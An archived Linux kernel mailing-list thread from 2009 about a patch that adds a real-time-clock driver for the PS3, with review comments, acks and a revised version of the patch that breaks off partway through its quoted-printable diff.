Xref: news.gmane.org gmane.linux.ports.parisc:1360 gmane.linux.ports.ppc64.devel:53265 gmane.linux.ports.m68k:524 gmane.linux.kernel:804313
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1360>

Create a real RTC driver for PS3, and unhook the deprecated
ppc_md.[gs]et_rtc_time.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Cc: Geoff Levand <geoffrey.levand@am.sony.com>
---
 arch/powerpc/include/asm/ps3.h        |    3 +
 arch/powerpc/platforms/ps3/os-area.c  |    2 +
 arch/powerpc/platforms/ps3/platform.h |    2 -
 arch/powerpc/platforms/ps3/setup.c    |    2 -
 arch/powerpc/platforms/ps3/time.c     |   26 ++++-----
 drivers/rtc/Kconfig                   |    9 +++
 drivers/rtc/Makefile                  |    1 +
 drivers/rtc/rtc-ps3.c                 |  105 +++++++++++++++++++++++++++++++++
 8 files changed, 132 insertions(+), 18 deletions(-)
 create mode 100644 drivers/rtc/rtc-ps3.c

diff --git a/arch/powerpc/include/asm/ps3.h b/arch/powerpc/include/asm/ps3.h
index 67f1812..cdb6fd8 100644
--- a/arch/powerpc/include/asm/ps3.h
+++ b/arch/powerpc/include/asm/ps3.h
@@ -50,6 +50,9 @@ enum ps3_param_av_multi_out {
 
 enum ps3_param_av_multi_out ps3_os_area_get_av_multi_out(void);
 
+extern u64 ps3_os_area_get_rtc_diff(void);
+extern void ps3_os_area_set_rtc_diff(u64 rtc_diff);
+
 /* dma routines */
 
 enum ps3_dma_page_size {
diff --git a/arch/powerpc/platforms/ps3/os-area.c b/arch/powerpc/platforms/ps3/os-area.c
index e1c83c2..86e392b 100644
--- a/arch/powerpc/platforms/ps3/os-area.c
+++ b/arch/powerpc/platforms/ps3/os-area.c
@@ -808,6 +808,7 @@ u64 ps3_os_area_get_rtc_diff(void)
 {
 	return saved_params.rtc_diff;
 }
+EXPORT_SYMBOL(ps3_os_area_get_rtc_diff);
 
 /**
  * ps3_os_area_set_rtc_diff - Set the rtc diff value.
@@ -823,6 +824,7 @@ void ps3_os_area_set_rtc_diff(u64 rtc_diff)
 		os_area_queue_work();
 	}
 }
+EXPORT_SYMBOL(ps3_os_area_set_rtc_diff);
 
 /**
  * ps3_os_area_get_av_multi_out - Returns the default video mode.
diff --git a/arch/powerpc/platforms/ps3/platform.h b/arch/powerpc/platforms/ps3/platform.h
index 235c13e..136aa06 100644
--- a/arch/powerpc/platforms/ps3/platform.h
+++ b/arch/powerpc/platforms/ps3/platform.h
@@ -64,8 +64,6 @@ int ps3_set_rtc_time(struct rtc_time *time);
 
 void __init ps3_os_area_save_params(void);
 void __init ps3_os_area_init(void);
-u64 ps3_os_area_get_rtc_diff(void);
-void ps3_os_area_set_rtc_diff(u64 rtc_diff);
 
 /* spu */
 
diff --git a/arch/powerpc/platforms/ps3/setup.c b/arch/powerpc/platforms/ps3/setup.c
index 3331ccb..6618182 100644
--- a/arch/powerpc/platforms/ps3/setup.c
+++ b/arch/powerpc/platforms/ps3/setup.c
@@ -270,8 +270,6 @@ define_machine(ps3) {
 	.init_IRQ			= ps3_init_IRQ,
 	.panic				= ps3_panic,
 	.get_boot_time			= ps3_get_boot_time,
-	.set_rtc_time			= ps3_set_rtc_time,
-	.get_rtc_time			= ps3_get_rtc_time,
 	.set_dabr			= ps3_set_dabr,
 	.calibrate_decr			= ps3_calibrate_decr,
 	.progress			= ps3_progress,
diff --git a/arch/powerpc/platforms/ps3/time.c b/arch/powerpc/platforms/ps3/time.c
index d0daf7d..b178a1e 100644
--- a/arch/powerpc/platforms/ps3/time.c
+++ b/arch/powerpc/platforms/ps3/time.c
@@ -19,6 +19,7 @@
  */
 
 #include <linux/kernel.h>
+#include <linux/platform_device.h>
 
 #include <asm/rtc.h>
 #include <asm/lv1call.h>
@@ -74,23 +75,20 @@ static u64 read_rtc(void)
 	return rtc_val;
 }
 
-int ps3_set_rtc_time(struct rtc_time *tm)
+unsigned long __init ps3_get_boot_time(void)
 {
-	u64 now = mktime(tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday,
-		tm->tm_hour, tm->tm_min, tm->tm_sec);
-
-	ps3_os_area_set_rtc_diff(now - read_rtc());
-	return 0;
+	return read_rtc() + ps3_os_area_get_rtc_diff();
 }
 
-void ps3_get_rtc_time(struct rtc_time *tm)
+static int __init ps3_rtc_init(void)
 {
-	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
-	tm->tm_year -= 1900;
-	tm->tm_mon -= 1;
-}
+	struct platform_device *pdev;
 
-unsigned long __init ps3_get_boot_time(void)
-{
-	return read_rtc() + ps3_os_area_get_rtc_diff();
+	pdev = platform_device_register_simple("rtc-ps3", -1, NULL, 0);
+	if (IS_ERR(pdev))
+		return PTR_ERR(pdev);
+
+	return 0;
 }
+
+module_init(ps3_rtc_init);
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 6488c50..7b6b63a 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -730,4 +730,13 @@ config RTC_DRV_MV
 	  This driver can also be built as a module. If so, the module
 	  will be called rtc-mv.
 
+config RTC_DRV_PS3
+	tristate "PS3 RTC"
+	depends on PPC_PS3
+	help
+	  If you say yes here you will get support for the RTC on PS3.
+
+	  This driver can also be built as a module. If so, the module
+	  will be called rtc-ps3.
+
 endif # RTC_CLASS
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index bd209a5..d161d1d 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -75,3 +75,4 @@ obj-$(CONFIG_RTC_DRV_VR41XX)	+= rtc-vr41xx.o
 obj-$(CONFIG_RTC_DRV_WM8350)	+= rtc-wm8350.o
 obj-$(CONFIG_RTC_DRV_X1205)	+= rtc-x1205.o
 obj-$(CONFIG_RTC_DRV_PCF50633)	+= rtc-pcf50633.o
+obj-$(CONFIG_RTC_DRV_PS3)	+= rtc-ps3.o
diff --git a/drivers/rtc/rtc-ps3.c b/drivers/rtc/rtc-ps3.c
new file mode 100644
index 0000000..bacf37f
--- /dev/null
+++ b/drivers/rtc/rtc-ps3.c
@@ -0,0 +1,105 @@
+/*
+ * PS3 RTC Driver
+ *
+ * Copyright 2009 Sony Corporation
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; version 2 of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ * If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/platform_device.h>
+#include <linux/rtc.h>
+
+#include <asm/lv1call.h>
+#include <asm/ps3.h>
+
+
+static u64 read_rtc(void)
+{
+	int result;
+	u64 rtc_val;
+	u64 tb_val;
+
+	result = lv1_get_rtc(&rtc_val, &tb_val);
+	BUG_ON(result);
+
+	return rtc_val;
+}
+
+static int ps3_get_time(struct device *dev, struct rtc_time *tm)
+{
+	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
+	tm->tm_year -= 1900;
+	tm->tm_mon -= 1;
+	return 0;
+}
+
+static int ps3_set_time(struct device *dev, struct rtc_time *tm)
+{
+	u64 now = mktime(tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday,
+			 tm->tm_hour, tm->tm_min, tm->tm_sec);
+	ps3_os_area_set_rtc_diff(now - read_rtc());
+	return 0;
+}
+
+static const struct rtc_class_ops ps3_rtc_ops = {
+	.read_time = ps3_get_time,
+	.set_time = ps3_set_time,
+};
+
+static int __init ps3_rtc_probe(struct platform_device *dev)
+{
+	struct rtc_device *rtc;
+
+	rtc = rtc_device_register("rtc-ps3", &dev->dev, &ps3_rtc_ops,
+				  THIS_MODULE);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
+
+	platform_set_drvdata(dev, rtc);
+	return 0;
+}
+
+static int __exit ps3_rtc_remove(struct platform_device *dev)
+{
+	rtc_device_unregister(platform_get_drvdata(dev));
+	return 0;
+}
+
+static struct platform_driver ps3_rtc_driver = {
+	.driver = {
+		.name = "rtc-ps3",
+		.owner = THIS_MODULE,
+	},
+	.remove = __exit_p(ps3_rtc_remove),
+};
+
+static int __init ps3_rtc_init(void)
+{
+	return platform_driver_probe(&ps3_rtc_driver, ps3_rtc_probe);
+}
+
+static void __exit ps3_rtc_fini(void)
+{
+	platform_driver_unregister(&ps3_rtc_driver);
+}
+
+module_init(ps3_rtc_init);
+module_exit(ps3_rtc_fini);
+
+MODULE_AUTHOR("Sony Corporation");
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("ps3 RTC driver");
+MODULE_ALIAS("platform:rtc-ps3");
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 6/7] powerpc: Hook up rtc-generic, and kill rtc-ppc
Date: Mon, 09 Mar 2009 13:59:41 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <1236607181.572.180.camel@macbook.infradead.org>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236607216 7468 80.91.229.12 (9 Mar 2009 14:00:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 14:00:16 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 15:01:30 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lgg2e-00061y-My
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 15:01:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752062AbZCIN7x (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Mar 2009 09:59:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751658AbZCIN7x
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 09:59:53 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:42387 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752062AbZCIN7v (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 09:59:51 -0400
Original-Received: from macbook.infradead.org ([2001:8b0:10b:1:216:eaff:fe05:bbb8])
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1Lgg19-0004aE-91; Mon, 09 Mar 2009 13:59:43 +0000
In-Reply-To: <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Mailer: Evolution 2.24.4 (2.24.4-1.fc10) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:525 gmane.linux.ports.parisc:1361 gmane.linux.ports.ppc64.devel:53266 gmane.linux.kernel:804325
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1361>

On Mon, 2009-03-09 at 14:26 +0100, Geert Uytterhoeven wrote:
> PowerPC has been a long time user of the generic RTC abstraction, so hook up
> rtc-generic:
>   - Create the "rtc-generic" platform device if ppc_md.get_rtc_time is set,
>   - Kill rtc-ppc, as rtc-generic offers the same functionality in a more
>     generic way, and supports autoloading through udev.
> 
> Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>

Acked-By: David Woodhouse <David.Woodhouse@intel.com>

-- 
David Woodhouse                            Open Source Technology Centre
David.Woodhouse@intel.com                              Intel Corporation

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: Re: [rtc-linux] [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 9 Mar 2009 15:12:16 +0100
Organization: Tower Technologies
Lines: 41
Approved: news@gmane.org
Message-ID: <20090309151216.17f13862@i1501.lan.towertech.it>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236607957 10484 80.91.229.12 (9 Mar 2009 14:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 14:12:37 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geoff Levand <geoffrey.levand@am.sony.com>
To: rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 15:13:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LggEp-0002UX-Gv
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 15:13:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751332AbZCIOM2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 10:12:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751342AbZCIOM2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 10:12:28 -0400
Original-Received: from mx0.towertech.it ([213.215.222.73]:33022 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751332AbZCIOM1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 10:12:27 -0400
Original-Received: (qmail 25069 invoked from network); 9 Mar 2009 15:12:17 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 9 Mar 2009 15:12:17 +0100
In-Reply-To: <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1362 gmane.linux.ports.ppc64.devel:53267 gmane.linux.ports.m68k:526 gmane.linux.kernel:804330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1362>

On Mon,  9 Mar 2009 14:26:23 +0100
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

 Hi,

   just a few notes:

> +
> +static int ps3_get_time(struct device *dev, struct rtc_time *tm)
> +{
> +	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
> +	tm->tm_year -= 1900;
> +	tm->tm_mon -= 1;
> +	return 0;
> +}

 this should be return rtc_valid_tm() .

 can't you use functions from rtc-lib.c instead of 
 that to_tm ?

> +
> +MODULE_AUTHOR("Sony Corporation");

 real name, if possible and a contact address
 here . Just in case I need someone to bother :)

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: Re: [rtc-linux] [PATCH 0/7] Generic RTC class driver
Date: Mon, 9 Mar 2009 15:14:14 +0100
Organization: Tower Technologies
Lines: 38
Approved: news@gmane.org
Message-ID: <20090309151414.57e88c0f@i1501.lan.towertech.it>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236608073 10888 80.91.229.12 (9 Mar 2009 14:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 14:14:33 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 15:15:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LggGg-00036t-Mn
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 15:15:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751246AbZCIOOW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 10:14:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751396AbZCIOOW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 10:14:22 -0400
Original-Received: from mx0.towertech.it ([213.215.222.73]:56199 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751385AbZCIOOV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 10:14:21 -0400
Original-Received: (qmail 25133 invoked from network); 9 Mar 2009 15:14:15 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 9 Mar 2009 15:14:15 +0100
In-Reply-To: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1363 gmane.linux.ports.ppc64.devel:53268 gmane.linux.ports.m68k:527 gmane.linux.kernel:804332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1363>

On Mon,  9 Mar 2009 14:26:16 +0100
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:


>         Hi Alessandro et al,
> 
> These patches are relative to the "rtc-parisc" branch of Kyle's PA-RISC git
> repository, which already contains some cleanups for the rtc-parisc driver by
> Dann, which already have been ack'ed by Alessandro:
> 
> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=shortlog;h=rtc-parisc
> 
> Paul: Feel free to add your SuperH support.
> 
> I suppose the easiest way for this to go in is through Kyle's PA-RISC tree, as
> he already has the preceding patches? Can I have your acks, please?

 Here's mine. Thanks for your efforts . 
 
 Acked-by: Alessandro Zummo <a.zummo@towertech.it>

 btw I'll pretend I had never seen this patch
 if asked in court :)

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [rtc-linux] [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 9 Mar 2009 16:24:27 +0100 (CET)
Lines: 334
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903091622150.19484@vixen.sonytel.be>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <20090309151216.17f13862@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236612283 26546 80.91.229.12 (9 Mar 2009 15:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 15:24:43 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geoff Levand <geoffrey.levand@am.sony.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 16:25:56 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LghMZ-0004SG-EL
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 16:25:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751182AbZCIPYc convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>); Mon, 9 Mar 2009 11:24:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751220AbZCIPYc
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 11:24:32 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:38510 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751182AbZCIPYa (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 11:24:30 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id C5BCA58ADF;
	Mon,  9 Mar 2009 16:24:27 +0100 (MET)
In-Reply-To: <20090309151216.17f13862@i1501.lan.towertech.it>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:528 gmane.linux.ports.parisc:1364 gmane.linux.ports.ppc64.devel:53271 gmane.linux.kernel:804353
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1364>

On Mon, 9 Mar 2009, Alessandro Zummo wrote:
> On Mon,  9 Mar 2009 14:26:23 +0100
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > +
> > +static int ps3_get_time(struct device *dev, struct rtc_time *tm)
> > +{
> > +	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
> > +	tm->tm_year -=3D 1900;
> > +	tm->tm_mon -=3D 1;
> > +	return 0;
> > +}
>=20
>  this should be return rtc_valid_tm() .

=46ixed.

>  can't you use functions from rtc-lib.c instead of=20
>  that to_tm ?

Ah, those pesky PPC-specific functions... switched to rtc_time_to_tm() =
and
rtc_tm_to_time().

> > +
> > +MODULE_AUTHOR("Sony Corporation");
>=20
>  real name, if possible and a contact address
>  here . Just in case I need someone to bother :)

All PS3-specific drivers have this. But there's an official PS3 platfor=
m
maintainer in MAINTAINERS.

=46rom 41020647c3e2b07e0302a905a926d6221061a128 Mon Sep 17 00:00:00 200=
1
=46rom: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Date: Tue, 24 Feb 2009 14:04:20 +0100
Subject: powerpc/ps3: Add rtc-ps3

Create a real RTC driver for PS3, and unhook the deprecated
ppc_md.[gs]et_rtc_time.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Acked-by: Alessandro Zummo <a.zummo@towertech.it>
---
 arch/powerpc/include/asm/ps3.h        |    3 +
 arch/powerpc/platforms/ps3/os-area.c  |    2 +
 arch/powerpc/platforms/ps3/platform.h |    2 -
 arch/powerpc/platforms/ps3/setup.c    |    2 -
 arch/powerpc/platforms/ps3/time.c     |   26 ++++-----
 drivers/rtc/Kconfig                   |    9 +++
 drivers/rtc/Makefile                  |    1 +
 drivers/rtc/rtc-ps3.c                 |  104 +++++++++++++++++++++++++=
++++++++
 8 files changed, 131 insertions(+), 18 deletions(-)
 create mode 100644 drivers/rtc/rtc-ps3.c

diff --git a/arch/powerpc/include/asm/ps3.h b/arch/powerpc/include/asm/=
ps3.h
index 67f1812..cdb6fd8 100644
--- a/arch/powerpc/include/asm/ps3.h
+++ b/arch/powerpc/include/asm/ps3.h
@@ -50,6 +50,9 @@ enum ps3_param_av_multi_out {
=20
 enum ps3_param_av_multi_out ps3_os_area_get_av_multi_out(void);
=20
+extern u64 ps3_os_area_get_rtc_diff(void);
+extern void ps3_os_area_set_rtc_diff(u64 rtc_diff);
+
 /* dma routines */
=20
 enum ps3_dma_page_size {
diff --git a/arch/powerpc/platforms/ps3/os-area.c b/arch/powerpc/platfo=
rms/ps3/os-area.c
index e1c83c2..86e392b 100644
--- a/arch/powerpc/platforms/ps3/os-area.c
+++ b/arch/powerpc/platforms/ps3/os-area.c
@@ -808,6 +808,7 @@ u64 ps3_os_area_get_rtc_diff(void)
 {
 	return saved_params.rtc_diff;
 }
